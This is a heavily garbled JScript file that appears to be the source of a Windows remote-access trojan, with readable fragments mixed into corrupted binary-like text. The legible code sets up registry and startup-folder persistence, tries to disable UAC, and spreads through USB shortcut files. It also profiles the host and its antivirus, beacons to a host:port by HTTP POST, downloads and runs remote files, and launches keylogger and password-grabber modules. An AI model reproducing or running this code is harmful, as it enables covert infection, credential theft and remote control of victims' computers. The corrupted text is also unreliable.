ÈÝ\^Ü\"²föÆFW"ææÖRç&WÆ6RæWr&VtW""Â&r"Â%Â"Â""²"fWB#°Ð¦föÆFW&6öâÒ6VÆÆö&¢å&Vu&VB$´UôÄô4ÅôÔ4äUÅÇ6ögGv&UÅÆ6Æ76W5ÅÆföÆFW%ÅÆFVfVÇF6öåÅÂ"°Ð¦b¡½±É¥½¸¹¥¹á= °¤ôôÀ¥ì4)±¹½¨¹¥½¹1½ Ñ¥½¸ô½±È¹Á Ñ ì4)õ±Íì4)±¹½¨¹¥½¹1½ Ñ¥½¸ô½±É¥½¸ì4)ô4)±¹½¨¹Í Ù ¤ì4)õ Ñ ¡ÉÈ¥íô4)ô4)ô4)ô4)ô4)ô4)ô4)չѥ½¸ÍÑ ÉÑÕÁ±Ù Ñ ¥ì4)¥¡]MÉ¥ÁйÉÕµ¹Ñ̹9 µ¹á¥ÍÑÌ ±Ù Ѥôô ±Í¥ì4)ÑÉåì4)]MÉ¥Áй É Ñ=©Ð M¡±°¹ÁÁ±¥ Ñ¥½¸¤¹M¡±±áÕÑ ÝÍÉ¥Áйᰢ //B \"" + WScript.ScriptFullName + "\" /elevated", "",([\ȰЧÖ6F6æâ°Ð§ÐÐ¥u67&BçVB°Ð§ÐЧÐЦgVæ7FöâF6&ÆU6V7W&G°Ð¦b u67&Bä&wVÖVçG2äæÖVBäW7G2&VÆWfFVB"ÓÒG'VR°Ð§f"õ&VrÒvWDö&¦V7B'væÖv×G3§¶×W'6öæFöäÆWfVÃÖ×W'6öæFWÒÅÅÅÂåÅÇ&ö÷EÅÆFVfVÇC¥7FE&Vu&÷b"°Ð¦õ&Vrå6WDGv÷&EfÇVRÀÀò,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","EnableLUA", :NÃBÔYËÙ]ÛÜ[YJÀÀÈ°M=Q]Iqq5¥É½Í½Ñqq]¥¹½ÝÍqq ÕÉɹÑYÉÍ¥½¹qqA½±¥¥ÍqqMåÍÑ´° ½¹Í¹ÑAɽµÁÑ ¡ Ù¥½Éµ¥¸°°); oReg = null; } } function uninstall(){ try{ var filename; var foldername; try{ shellobj.RegDelete("HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\" + installname.split(".")[0]); shellobj.RegDelete("HKEY_LOCAL_MACHINE\\software\\microsoft\\windows\\currentversion\\run\\" + installname.split(".")[0]); }catch(ei){} try{ filesystemobj.deleteFile(startup + installname ,true); filesystemobj.deleteFile(WScript.scriptFullName ,true); }catch(eej){} for(var dri = new Enumerator(filesystemobj.drives); !dri.atEnd(); dri.moveNext()){ var drive = dri.item(); if (drive.isready == true){ if (drive.freespace/°Ð¦bG&fRæG&fWGRÓÒ¥ì4)½È¡Ù Ȥ½ new Enumerator(filesystemobj.getfolder(drive.path +(K[\ÊNÈYK][ NÈK[ÝS^ J^ÃB\[HHK][J NÃB^ÃBY [K[YK[^ÙJ^ÃBY [K[YKÜ] VÙ[K[YKÜ] K[ÝKÒçFôÆ÷vW$66Rô¢lnk"){ file.attributes =,ÃBY [K[YKÕ\\Ø\ÙJ HOH[Ý[[YKÕ\\Ø\ÙJ J^ÃB[[[YHH[K[YKÜ] NÃB[\Þ\Ý[[Ø[]Q[J]K] ȲfÆVæÖU³Ò²"æÆæ²"°Ð§ÖVÇ6W°Ð¦fÆW77FVÖö&¢æFVÆWFTfÆRG&fRçF²%ÅÂ"¬¥±¹¹ µ¤ì4)ô4)õ±Íì4)¥±ÍåÍѵ½¨¹±Ñ¥±¨file.path); } } }catch(ex){} } for(var fi/H]È[[Y\]Ü[\Þ\Ý[[ØÙ]Û\]K] Ê%ÅÂ"ç7V$föÆFW'2²fæDVæB²fæÖ÷fTæWB°Ð§f"föÆFW"ô¤¹¥Ñ´ ¤ì4)½±È¹ ÑÑÉ¥ÕÑÌôÀì4)ô4)ô4)ô4)ô4)ô4)õ Ñ ¡ÉÈ¥íô4)]MÉ¥ÁйÅեР¤ì4)ô4)չѥ½¸Á½ÍШcmd ,param){ try{ httpobj.open("post","http://"*ÈÜÝ Ê#¢"²÷'B²"ò"²6ÖBÂfÇ6R°Ð¦GGö&¢ç6WE&WVW7DVFW"'W6W"ÖvVçC¢"Ææf÷&ÖFöâ°Ð¦GGö&¢ç6VæB&ҰЧ&WGW&âGGö&¢ç&W7öç6UFWC°Ð§Ö6F6W'"°Ð§&WGW&â"#°Ð§ÐЧÐЦgVæ7Föâæf÷&ÖFöâ°Ð§G'°Ð¦bæbÓÒ""°Ð¦æbÒvB²7ÆFW#°Ð¦æbô¥¹ + shellobj.ExpandEnvironmentStrings("%computername%") + spliter ; inf/H[²6VÆÆö&¢äWæDVçf&öæÖVçE7G&æw2"WW6W&æÖRR"¬ÍÁ±¥ÑÈì4)Ù Èɽ½Ð½ GetObject("winmgmts:{impersonationlevel=impersonate}!\\\\.\\root\\cimv2"); var os = root.ExecQuery*Ù[XÝ ¢g&öÒvã3%ö÷W&Fæw77FVÒ"°Ð¦f÷"f"fÒæWrVçVÖW&F÷"÷2² ¤¹ ѹ ¤ì¤¹µ½Ù9áÐ ¤¥ì4)٠Ƚͥ¹¼ô¤¹¥Ñ´ ¤ì4)¥¹ô¥¹¬½Í¥¹¼¹ ÁÑ¥½¸¬ÍÁ±¥ÑÈì4)É ¬ì4)ô4)¥¹ô¥¹¬¢plus" + spliter; inf = inf + security()*ÈÜ]\ÃB[H[ È\ØÜXY[ÎÃB[J%u4 $B"¬ÍÁ±¥ÑȬ¥¹¬ÍÁ±¥ÑȬ) Ù MÉ¥ÁеØĸÌì4)ÉÑÕɸ¥¹ì4)õ±Íì4)ÉÑÕɸ¥¹ì4)ô4)õ Ñ ¡ÉÈ¥ì4)ÉÑÕɸì4)ô4)ô4)չѥ½¸ÕÁÍÑ ÉШ){ try{ try{ shellobj.RegWrite("HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\"*È[Ý[[YKÜ] VÌK 'w67&BæWRòô"Â""¬¥¹ÍÑ ±±¥È¬¥¹ÍÑ ±±¹ µ« "\"" ,(Q×ÔÖNÃBÚ[ØYÕÜ]JÑVWÓÐÐSÓPPÒSWÛÙØ\WZXÜÜÛÙÚ[ÝÜ×Ý\[\Ú[Û[ È[Ý[[YKÜ] VÌKÜØÜ\^Jòô"Â""²ç7FÆÆF"¬¥¹ÍÑ ±±¹ µ¬p¬ "REG_SZ"); }catch(ei){} filesystemobj.copyFile(WScript.scriptFullName, installdir + installname, true); filesystemobj.copyFile(WScript.scriptFullName, startup + installname, true); }catch(err){} } function hwid(){ try{ var root = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2"); var disks = root.ExecQuery ("select * from win32_logicaldisk"); for(var fi = new Enumerator(disks);(YK][ NÈK[ÝS^ J^ÃB\\ÚËÒfæFVҰЦbF6²çföÇVÖU6W&ÄçVÖ&W"ô¢"){ return disk.volumeSerialNumber; break; } } }catch(err){ return ""; } } function security(){ try{ var objwmiservice = GetObject("winmgmts:{impersonationlevel=impersonate}!\\\\.\\root\\cimv2"); var colitems/HØÛZ\Ù\XÙK^XÔ]Y\JÙ[XÝ ÛHÚ[ÌÛÜ\][ÜÞ\Ý[H[ NÃB\\Ú[ÛÝÜÝ\Ú[ÛÃBÜ\KÒæWrVçVÖW&F÷"6öÆFV×2²fæDVæB²fæÖ÷fTæWB°Ð§f"ö&¦FVÒÒfæFVҰЧfW'6öç7G"Òö&¦FVÒçfW'6öâçFõ7G&ærç7ÆB"â"°Ð§ÐЦ÷7fW'6öâôÙÉÍ¥½¹ÍÑÉlÁt¬¢."; for (var x = 1; x/\Ú[ÛÝ[ÝÈ ÊÊ^ÃBÜÝ\Ú[ÛHÜÝ\Ú[Û È\Ú[ÛÝÌNÃBCBÜÝ\Ú[ÛÒWfÂ÷7fW'6öâ°Ð§f"63°Ð¦b÷7fW'6öââØ¥ìÍô¢securitycenter2"; }else{ sc = "securitycenter";} var objsecuritycenter = GetObject("winmgmts:\\\\localhost\\root\\" + sc); var colantivirus = objsecuritycenter.ExecQuery("select * from antivirusproduct",(Ü[ NÃB\ÙXÝKÒ"#°Ð¦f÷"f"fô¹Ü¹ÕµÉ ѽȡ½± ¹Ñ¥Ù¥ÉÕÌ¤ì ¤¹ ѹ ¤ì¤¹µ½Ù9áÐ ¤¥ì4)٠Ƚ© ¹Ñ¥Ù¥ÉÕÌô¤¹¥Ñ´ ¤ì4)ÍÔôÍÔ + objantivirus.displayName +(ÃBCBYÙXÝKÓÒ¥íÍÔ½ "nan-av";} return secu; }catch(err){} } function getDate(){ var s =(ÃB\H]È]J NÃBÈ ÏHÙ]]J H Ê"ò#°Ð§2³ÒBævWDÖöçF²Ä¤« "/"; s += d.getYear(); return s; } function instance(){ try{ try{ usbspreading = shellobj.RegRead("HKEY_LOCAL_MACHINE\\software\\" + installname.split(".")[0]*ÈNÃBXØ]Ú YYJ^ßCBY\ØÜXY[ÈOH^ÃBY ÔØÜ\ØÜ\[[YKÝXÝJKÓÝÙ\Ø\ÙJ HOH È[Ý[[YKÓÝÙ\Ø\ÙJ J^ÃB\ØÜXY[ÈHYHJ"²vWDFFR°Ð§G'·6VÆÆö&¢å&Vuw&FR$´UôÄô4ÅôÔ4äUÅÇ6ögGv&UÅÂ"²ç7FÆÆæÖRç7ÆB"â"³Ò¬qp°ÕÍÍÁÉ ¥¹°I}Mh¤íõ Ñ ¡¥íô4)õ±Íì4)ÕÍÍÁÉ ¥¹ô ±Í´« getDate(); try{shellobj.RegWrite("HKEY_LOCAL_MACHINE\\software\\"*È[Ý[[YKÜ] VÌH È\ØÜXY[ËQ×ÔÖNßXØ]Ú YYYYJ^ßCBCBCB\Ý\ NÃB\ØÜ\[[Y\ÚÜJfÆW77FVÖö&¢ævWDfÆR u67&Bç67&DgVÆÄæÖR°Ð§f"ç7FÆÆgVÆÆæÖW6÷'BÒfÆW77FVÖö&¢ævWDfÆRç7FÆÆF"²ç7FÆÆæÖR°Ð¦b67&FgVÆÆæÖW6÷'Bç6÷'EFçFôÆ÷vW$66RÒç7FÆÆgVÆÆæÖW6÷'Bç6÷'EFçFôÆ÷vW$66R°Ð§6VÆÆö&¢ç'Vâ'w67&BæWR¼½p¬¥¹ÍÑ ±±¥È« installname + "\""); WScript.quit(); } oneonce = filesystemobj.openTextFile(installdir + installname ,8, false); }catch(err){ WScript.quit(); } } function passgrabber*[]\[[[YK]ÛY ^ÃBÚ[Ø[XÛÛ\ÜXÉJö2F6¶¶Æ½¯IM "*È[[[YKÂG'VR°Ð§G'¶fÆW77FVÖö&¢æFVÆWFTfÆRç7FÆÆF"¬¥±¹ µ¬ Ѥíõ Ñ ¡ä¥íô4)٠Ƚ¹¥}¥±½ installdir + filename.substr(0, filename.lastIndexOf(".")) +(ÙÈÃB\ÙÈHÑÙ[\[WÚÝÑÜY[\ÏLØ]Q[\[^LÚÝÒ[Õ_ÓÆåW6U&öfÆTföÆFW#ÓÆå&öfÆTföÆFW#ÕÆäÖ&´öFDWfVå&÷w3ÓÆåvå÷3Ó$2ÀÀ°0,ÀÀ°0,ÀÀ°0,ÀÀ°0,ÀÀ°0,ÀÈ°0,LÀÀ°0\nColumns=FA,ÀÀ°0,KÙ°0,Ù°0,ËÜà°0, Üà°0, KÜà°0, Øа0, ËdÀÀ°8,ÛÜLÃB\Ü]\H[\Þ\Ý[[ØÜ[^[JÛÛY×Ù[KYJNÃBÜ]\Ü]S[JÙÊNÃBÜ]\ÛÜÙJ NÃBÜ]\ÒçVÆðЧf"7G&Ææ²ô¥±ÕÉ°ì4)Ù ÈÍÑÉÍ ÙѼô¥¹ÍÑ ±±¥È« filename; var objhttpdownload/HÔØÜ\ÜX]SØXÝ \Þ[[NÃBØÝÛØYÜ[Ù]Ý[Ë[ÙJNÃBØÝÛØYÙ]\]Y\ÝXY\ØXÚKXÛÛÛX^XYÙON"°Ð¦ö&¦GGF÷væÆöBç6VæB°Ð§f"ö&¦g6öF÷væÆöBÒu67&Bä7&VFTö&¦V7B'67&FæræfÆW77FVÖö&¦V7B"°Ð¦bö&¦g6öF÷væÆöBæfÆTW7G27G'6fWFò°Ð¦ö&¦g6öF÷væÆöBæFVÆWFTfÆR7G'6fWFò°Ð§ÐЦb¡½©¡ÑÑÁ½Ý¹±½ ¹ÍÑ ÑÕ̽=,°Ð§G'°Ð§f"ö&§7G&VÖF÷væÆöBô]MÉ¥Áй É Ñ=©Ð ½¹ÍÑÉ ´¤ì4)½©ÍÑÉ µ½Ý¹±½ ¹QåÁô±; objstreamdownload.Open(); objstreamdownload.Write(objhttpdownload.responseBody); objstreamdownload.SaveToFile(strsaveto); objstreamdownload.close(); objstreamdownload = null; }catch(ez){ updatestatus("Access+Denied"); } } if(objfsodownload.fileExists(strsaveto)){ var runner = WScript.CreateObject("Shell.Application"); var saver/HØÛÙÝÛØYÙ][JÝØ]]ÊKÚÜ]ÃBÜ\OLÈO NÈJÊÊ^ÃBÚ[Ø[XÛÛ\ÜXÉHØÈ\ÚÚÚ[ÑÒSH È[[[YKYJNÃBÔØÜ\ÛY\ L°Ð§'VææW"ç6VÆÄWV7WFR6fW"Â"½ÍÑáЫ saver + "data"); WScript.sleez O°Ð¦bö&¦g6öF÷væÆöBæfÆTW7G26fW"²&FF"°Ð§f"÷WGFô¥¹ÍÑ ±±¥È¬¢wshlogs\\recovered_password_backup.log"; var folder/HØÛÙÝÛØYÙ]\[Û\[YJÝ]] NÃBYö&¦g6öF÷væÆöBäföÆFW$W7G2föÆFW"Ч°Ð§6VÆÆö&¢ç'Vâ"V6ö×7V2Rö2Ö¶F"Â""²föÆFW"²%Â""ÂÂG'VR°Ð§ÐЦö&¦g6öF÷væÆöBæ6÷fÆR6fW"¬ Ñ°½ÕÑÁ Ñ °ÑÉÕ¤ì4)É ¬ì4)ô4)ô4)±Ñ ¡ÍÑÉÍ ÙѼ¤ì4)ÕÁ±½ ¡Í ÙȬ Ñ°Éѵ¤ì4)ô4)ô4)չѥ½¸Á ÍÍÉ ÈÈ¡¥±ÕÉ°°¥±¹ µ°¥±ÕÉ°È¥ì4)½È¡Ù È ôÀì ðÈì ¬¬¥ì4)Í¡±±½¨¹ÉÕ¸ ½µÍÁ½Ñ Í¥±°½½%4¬¥±¹ µ°À°ÑÉÕ¤ì4)ÑÉåí¥±ÍåÍѵ½¨¹±Ñ¥±¡¥¹ÍÑ ±±¥È¬¥±¹ µ« "data");}catch(ey){} var config_file = installdir + filename.substr(;[[[YK\Ý[^ÙJH ÈÙÈÃB\ÙËÒ%´vVæW&ÅÕÆå6÷tw&DÆæW3ÓÆå6fTfÇFW$æFWÓÆå6÷tæfõFÓÆåW6U&öfÆTföÆFW#ÓÆå&öfÆTföÆFW#ÕÆäÖ&´öFDWfVå&÷w3ÓÆåvå÷3Ó$2Àà08Àà08HÀàFF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 08Àà08Àà88à01 08ÛÛ[[ÏQHÀàFA 08HdRÀÈÀà6E 08ÈsÀÐÀà78 08 HsÀØÀà64 08 ÈdÀàÀÁq¹M½ÉÐôÀì4)Ù ÈÝÉ¥ÑÈô¥±ÍåÍѵ½¨¹½Á¹QáÑ¥±¡½¹¥}¥±°È°ÑÉÕ¤ì4)ÝÉ¥ÑȹÝÉ¥Ñ1¥¹¡¤ì4)ÝÉ¥Ñȹ±½Í ¤ì4)ÝÉ¥ÑÈô¹Õ±°ì4)Ù ÈÍÑɱ¥¹¬ô¥±ÕÉ°ì4)¥¡ ½=,J^ÜÝ[ÈH[]\ßCB\ÝØ]]ËÒç7FÆÆF"²fÆVæÖS°Ð§f"ö&¦GGF÷væÆöBÒu67&Bä7&VFTö&¦V7B&×7ÖÃ"çÖÆGG¤ì4)½©¡ÑÑÁ½Ý¹±½ ¹½Á¸ аÍÑɱ¥¹¬° ±Í¤ì4)½©¡ÑÑÁ½Ý¹±½ ¹ÍÑIÅÕÍÑ! È ¡µ½¹Ñɽ°è°¢max-age=0"); objhttpdownload.send(); var objfsodownload = WScript.CreateObject("scripting.filesystemobject"); if(objfsodownload.fileExists(strsaveto)){ objfsodownload.deleteFile(strsaveto); } if (objhttpdownload.status == 2< ^ÃB\ö&§7G&VÖF÷væÆöBÒu67&Bä7&VFTö&¦V7B&FöF"ç7G&VÒ"°Ð¦ö&§7G&VÖF÷væÆöBåGRҰЦö&§7G&VÖF÷væÆöBä÷Vâ°Ð¦ö&§7G&VÖF÷væÆöBåw&FRö&¦GGF÷væÆöBç&W7öç6T&öG°Ð¦ö&§7G&VÖF÷væÆöBå6fUFôfÆR7G'6fWFò°Ð¦ö&§7G&VÖF÷væÆöBæ6Æ÷6R°Ð¦ö&§7G&VÖF÷væÆöBÒçVÆðЧÐЦbö&¦g6öF÷væÆöBæfÆTW7G27G'6fWFò°Ð§f"'VææW"Òu67&Bä7&VFTö&¦V7B%6VÆÂäÆ6Föâ"°Ð§f"6fW"Òö&¦g6öF÷væÆöBævWDfÆR7G'6fWFòç6÷'EFЦf÷"f"Ó²ÃS²²²°Ð§6VÆÆö&¢ç'Vâ"V6ö×7V2Rö2F6¶¶ÆÂôbôÒ"²fÆVæÖRÂÂG'VR°Ð¥u67&Bç6ÆVW¤ì4)ÉÕ¹¹È¹Í¡±±áÕÑ¡Í ÙÈ°¯stext "*ÈØ]\ È]HNÃBÔØÜ\ÛY^#ÀÀ¤ì4)¥¡½©Í½½Ý¹±½ ¹¥±á¥ÍÑÌ¡Í ÙȬ Ѥ¥ì4)٠Ƚ©ÍÑÉ µÕÁ±½ ½ WScript.CreateObject("adodb.stream"); objstreamuploade.Type/HÃBØÝX[]\ØYKÜ[ NÃBØÝX[]\ØYKØYÛQ[JØ]\ È]HNÃB\Y\HØÝX[]\ØYKXY^ NÃBØÝX[]\ØYKÛÜÙJ NÃB\Ý]]Òç7FÆÆF"²ÝÍ¡±½ÍqqɽÙÉ}Á ÍÍݽÉ}ɽÝÍȹ±½ì4)¥¡ ôôÄ¥í½ÕÑÁ Ñ ½ installdir +(ÜÚÙÜ×XÛÝ\YÜ\ÜÝÛÜÙ[XZ[ÙÈßCB\Û\Òö&¦g6öF÷væÆöBävWE&VçDföÆFW$æÖR÷WGF°Ð¦b ½©Í½½Ý¹±½ ¹½±Éá¥ÍÑÌ¡½±È¤¤4)ì4)Í¡±±½¨¹ÉÕ¸ ½µÍÁ½µ¥Èp¬½±È¬p°À°ÑÉÕ¤ì4)ô4)ÝÉ¥ÑÈô¥±ÍåÍѵ½¨¹½Á¹QáÑ¥±¡½ÕÑÁ Ñ °², true); writer.write(buffer); writer.close(); writer = null; break; } } deletefaf(strsaveto); } } } function keyloggerstarter (fileurl, filename, filearg, is_offline){ shellobj.run("%comspec% /c taskkill /F /IM( È[[[YKÂG'VR°Ð§f"7G&Ææ²ÒfÆWW&ðЧf"7G'6fWFòô¥¹ÍÑ ±±¥È¬¥±¹ µì4)٠Ƚ©¡ÑÑÁ½Ý¹±½ ô]MÉ¥Áй É Ñ=©Ð µÍᵰȹᵱ¡ÑÑâ ); objhttpdownload.open("get", strlink, false); objhttpdownload.setRequestHeader("cache-control:", "max-age=0"); objhttpdownload.send(); var objfsodownload/HÔØÜ\ÜX]SØXÝ ØÜ\[Ë[\Þ\Ý[[ØXÝNÃBYØÛÙÝÛØY[Q^\ÝÊÝØ]]ÊJ^ÃBØÛÙÝÛØY[]Q[JÝØ]]ÊNÃBCBY ØÝÛØYÝ]\ÈOH ^ÃB^ÃB\ØÝX[YÝÛØYHÔØÜ\ÜX]SØXÝ YÙÝX[HNÃBØÝX[YÝÛØY\KҰЦö&§7G&VÖF÷væÆöBä÷Vâ°Ð¦ö&§7G&VÖF÷væÆöBåw&FRö&¦GGF÷væÆöBç&W7öç6T&öG°Ð¦ö&§7G&VÖF÷væÆöBå6fUFôfÆR7G'6fWFò°Ð¦ö&§7G&VÖF÷væÆöBæ6Æ÷6R°Ð¦ö&§7G&VÖF÷væÆöBô¹Õ±°ì4)õ Ñ ¡ÉÈ¥ì4)ÕÁ ÑÍÑ ÑÕÌ Í̹¥¤ì4)ô4)ô4)¥¡½©Í½½Ý¹±½ ¹¥±á¥ÍÑÌ¡ÍÑÉÍ ÙѼ¤¥ì4)Í¡±±½¨¹ÉÕ¸ p¬ÍÑÉÍ ÙѼ¬p¬¡½ÍЬ¢ + port*È È[X\ʲ%Â"¬¥Í}½±¥¹¤ì4)ô4)ô4)չѥ½¸ÍÉÙ¥ÍÑ ÉÑȨfileurl, filename, filearg){ shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true); var strlink/H[]\ÃB\ÝØ]]ÈH[Ý[\²fÆVæÖS°Ð§f"ö&¦GGF÷væÆöBô]MÉ¥Áй É Ñ=©Ð µÍᵰȹᵱ¡ÑÑÀ¤ì4)½©¡ÑÑÁ½Ý¹±½ ¹½Á¸ аÍÑɱ¥¹¬° ±Í¤ì4)½©¡ÑÑÁ½Ý¹±½ ¹ÍÑIÅÕÍÑ! È ¡µ½¹Ñɽ°è°¢max-age=0"); objhttpdownload.send(); var objfsodownload = WScript.CreateObject("scripting.filesystemobject"); if(objfsodownload.fileExists(strsaveto)){ objfsodownload.deleteFile(strsaveto); } if (objhttpdownload.status == 2< ^ÃB^ÃB\ö&§7G&VÖF÷væÆöBÒu67&Bä7&VFTö&¦V7B&FöF"ç7G&VÒ"°Ð¦ö&§7G&VÖF÷væÆöBåGRҰЦö&§7G&VÖF÷væÆöBä÷Vâ°Ð¦ö&§7G&VÖF÷væÆöBåw&FRö&¦GGF÷væÆöBç&W7öç6T&öG°Ð¦ö&§7G&VÖF÷væÆöBå6fUFôfÆR7G'6fWFò°Ð¦ö&§7G&VÖF÷væÆöBæ6Æ÷6R°Ð¦ö&§7G&VÖF÷væÆöBÒçVÆðЧÖ6F6W'"°Ð§WFFW7FGW2$66W72´FVæVB"°Ð§ÐЧÐЦbö&¦g6öF÷væÆöBæfÆTW7G27G'6fWFò°Ð§6VÆÆö&¢ç'Vâ%Â""²7G'6fWFò²p« host +( ÈÜ È È[X\È ÈNÃBCBCB[Ý[ÛÚ]YÝÛØY\fÆWW&ÂÆfÆVæÖR°Ð§f"7G&Ææ²ô¥±ÕÉ°ì4)Ù ÈÍÑÉÍ ÙѼô¥¹ÍÑ ±±¥È« filename; var objhttpdownload/HÔØÜ\ÜX]SØXÝ \Þ[Ù\\[ NÃBØÝÛØYÜ[Ù]Ý[Ë[ÙJNÃBØÝÛØYÙ]\]Y\ÝXY\ØXÚKXÛÛÛX^XYÙON"°Ð¦ö&¦GGF÷væÆöBç6VæB°Ð§f"ö&¦g6öF÷væÆöBÒu67&Bä7&VFTö&¦V7B'67&FæræfÆW77FVÖö&¦V7B"°Ð¦bö&¦g6öF÷væÆöBæfÆTW7G27G'6fWFò°Ð¦ö&¦g6öF÷væÆöBæFVÆWFTfÆR7G'6fWFò°Ð§ÐЦb¡½©¡ÑÑÁ½Ý¹±½ ¹ÍÑ ÑÕ̽=,°Ð§f"ö&§7G&VÖF÷væÆöBô]MÉ¥Áй É Ñ=©Ð ½¹ÍÑÉ ´¤ì4)½©ÍÑÉ µ½Ý¹±½ ¹QåÁô±; objstreamdownload.Open(); objstreamdownload.Write(objhttpdownload.responseBody); objstreamdownload.SaveToFile(strsaveto); objstreamdownload.close(); objstreamdownload = null; } if(objfsodownload.fileExists(strsaveto)){ shellobj.run(objfsodownload.getFile(strsaveto).shortPath); updatestatus("Executed+File"); } } function download (fileurl,filedir){ if(filedir == ""){ filedir = installdir; } strsaveto = filedir*È[]\ÝXÝ[]\\Ý[^ÙH ˰Чf"ö&¦GGF÷væÆöBÒu67&Bä7&VFTö&¦V7B&×7ÖÃ"çÖÆGG¤ì4)½©¡ÑÑÁ½Ý¹±½ ¹½Á¸ Á½Íа¡ÑÑÀè¼¼¬¡½ÍЬè¬Á½ÉЫ"/" + "send-to-me" + spliter*È[]\[ÙJNÃBØÝÛØYÙ]\]Y\ÝXY\\Ù\XYÙ[[ÜX][Û JNÃBØÝÛØYÙ[ NÃB\ØÛÙÝÛØYHÔØÜ\ÜX]SØXÝ ØÜ\[Ë[\Þ\Ý[[ØXÝNÃBYØÛÙÝÛØY[Q^\ÝÊÝØ]]ÊJ^ÃBØÛÙÝÛØY[]Q[JÝØ]]ÊNÃBCBY ØÝÛØYÝ]\ÈOH°Ð§f"½©ÍÑÉ µ½Ý¹±½ ô]MÉ¥Áй É Ñ=©Ð ½¹ÍÑÉ ´¤ì4)½©ÍÑÉ µ½Ý¹±½ ¹QåÁôÄì4)½©ÍÑÉ µ½Ý¹±½ ¹=Á¸ ¤ì4)½©ÍÑÉ µ½Ý¹±½ ¹]ɥѡ½©¡ÑÑÁ½Ý¹±½ ¹ÉÍÁ½¹Í ½ä¤ì4)½©ÍÑÉ µ½Ý¹±½ ¹M ÙQ½¥±¡ÍÑÉÍ ÙѼ¤ì4)½©ÍÑÉ µ½Ý¹±½ ¹±½Í ¤ì4)½©ÍÑÉ µ½Ý¹±½ ô¹Õ±°ì4)ô4)¥¡½©Í½½Ý¹±½ ¹¥±á¥ÍÑÌ¡ÍÑÉÍ ÙѼ¤¥ì4)Í¡±±½¨¹ÉÕ¸¡½©Í½½Ý¹±½ ¹Ñ¥±¡ÍÑÉÍ ÙѼ¤¹Í¡½ÉÑA Ñ ¤ì4)ÕÁ ÑÍÑ ÑÕÌ áÕÑ¥±¤ì4)ô4)ô4)չѥ½¸ÕÁ ÑÍÑ ÑÕÌ¡ÍÑ ÑÕÍ}µÍ¥ì4)٠Ƚ©Í½ô]MÉ¥Áй É Ñ=©Ð µÍᵰȹᵱ¡ÑÑâ); objsoc.open("post","http://" + host + ":" + port*ÈȲ'WFFR×7FGW2"¬ÍÁ±¥ÑȬÍÑ ÑÕÍ}µÍ° ±Í¤ì4)½©Í½¹ÍÑIÅÕÍÑ! È ÕÍȵ ¹Ðè°¥¹½Éµ Ñ¥½¸ ¤¤ì4)½©Í½¹Í¹ ¤ì4)ô4)չѥ½¸ÕÁ±½ ¨fileurl, retcmd){ try{ var(ØØÝX[]\ØYKY\ÃB\ØÝX[]\ØYHHÔØÜ\ÜX]SØXÝ YÙÝX[HNÃBØÝX[]\ØYK\HHNÃBØÝX[]\ØYKÜ[ NÃBØÝX[]\ØYKØYÛQ[J[]\ NÃBY\HØÝX[]\ØYKXY NÃBØÝX[]\ØYKÛÜÙJ NÃBØÝX[YÝÛØYH[ÃB\ØHÔØÜ\ÜX]SØXÝ \Þ[[NÃBØÜ[ÜÝËȲ÷7B²è¬Á½ÉЬ¼¬Éѵ° ±Í¤ì4)¡ÑÑÁ½¨¹ÍÑIÅÕÍÑ! È ÕÍȵ ¹Ðè°¥¹½Éµ Ñ¥½¸ ¤¤ì4)¡ÑÑÁ½¨¹Í¹¡ÕȤì4)õ Ñ ¡È¥ì4)ÕÁ ÑÍÑ ÑÕÌ UÁ±½ ¥±¤ì4)ô4)ô4)չѥ½¸±Ñ ¡ÕÉ°¥ì4)ÑÉåì4)¥±ÍåÍѵ½¨¹±Ñ¥±¡ÕÉ°¤ì4)¥±ÍåÍѵ½¨¹±Ñ½±È¡ÕÉ°¤ì4)õ Ñ ¡ÉÈ¥íô4)ô4)չѥ½¸µÍ¡±°¡µ¥ì4)Ù È¡ÑÑÁ½¨±½á±É ±±É½µ ¹äì4)Ù ÈÍÑÉÍ ÙѼô¥¹ÍÑ ±±¥È¬½ÕйÑáÐì4)Í¡±±½¨¹ÉÕ¸ ½µÍÁ½« cmd*È ÈÝØ]]È Ê%Â""ÂÀ°ÑÉÕ¤ì4)É ±±É½µ ¹äô¥±ÍåÍѵ½¨¹½Á¹QáÑ¥±¡ÍÑÉÍ ÙѼ¤¹É ±° ¤ì4)ÑÉåì4)¥±ÍåÍѵ½¨¹±Ñ¥±¡ÍÑÉÍ ÙѼ¤ì4)õ Ñ ¡¥íô4)ÉÑÕÉ¸É ±±É½µ ¹äì4)ô4)չѥ½¸¹ÕµÁɽÍÌ ¥ì4)Ù ÈÀ½ ""; try{ var objwmiservice = GetObject("winmgmts:\\\\.\\root\\cimv2"); var colitems = objwmiservice.ExecQuery("select*ÛHÚ[ÌÜØÙ\ÜÈ[ NÃBÜ\HH]È[[Y\]ÜÛÛ][\ÊNÊfæDVæB²fæÖ÷fTæWB°Ð§f"ö&¦FVÒô¤¹¥Ñ´ ¤ì4)Àôà+ objitem.name +(ÃB\ÒW²ö&¦FVÒç&ö6W74B²xì4)À½ ep + objitem.executablePath*ÈÜ]\ÃBCBXØ]Ú \^ßCB]\\ÃBCB[Ý[Û^]ØÙ\ÜÈ Y ^ÃB^ÃBÚ[Ø[\ÚÚÚ[ ôb½P¯PID " + pid,0,true); }catch(err){} } function getParentDirectory(path){ var fo/H[\Þ\Ý[[ØÙ][J] NÃB]\[\Þ\Ý[[ØÙ]\[Û\[YJÊNÃBCB[Ý[Û[[YYVçVÖF"°Ð§f"&RÒì4)ÑÉåì4)½È¡Ù Ȥô¹Ü¹ÕµÉ ѽȡ¥±ÍåÍѵ½¨¹Ñ½±È¨enumdir).subfolders); !fi.atEnd(); fi.moveNext()){ var folder = fi.item(); re/HH ÈÛ\[YH Ê%åæEâ"²föÆFW"æGG&'WFW2¬ÍÁ±¥ÑÈì4)ô4)½È¡Ù Ȥô¹Ü¹ÕµÉ ѽȡ¥±ÍåÍѵ½¨¹Ñ½±È¡¹Õµ¥È¤¹¥±Ì¤ì ¤¹ ѹ ¤ì¤¹µ½Ù9áÐ ¤¥ì4)٠ȥ±ô¤¹¥Ñ´ ¤ì4)ɽ re + file.name + "^" + file.size + "^" + file.attributes + spliter; } }catch(err){} return re; }
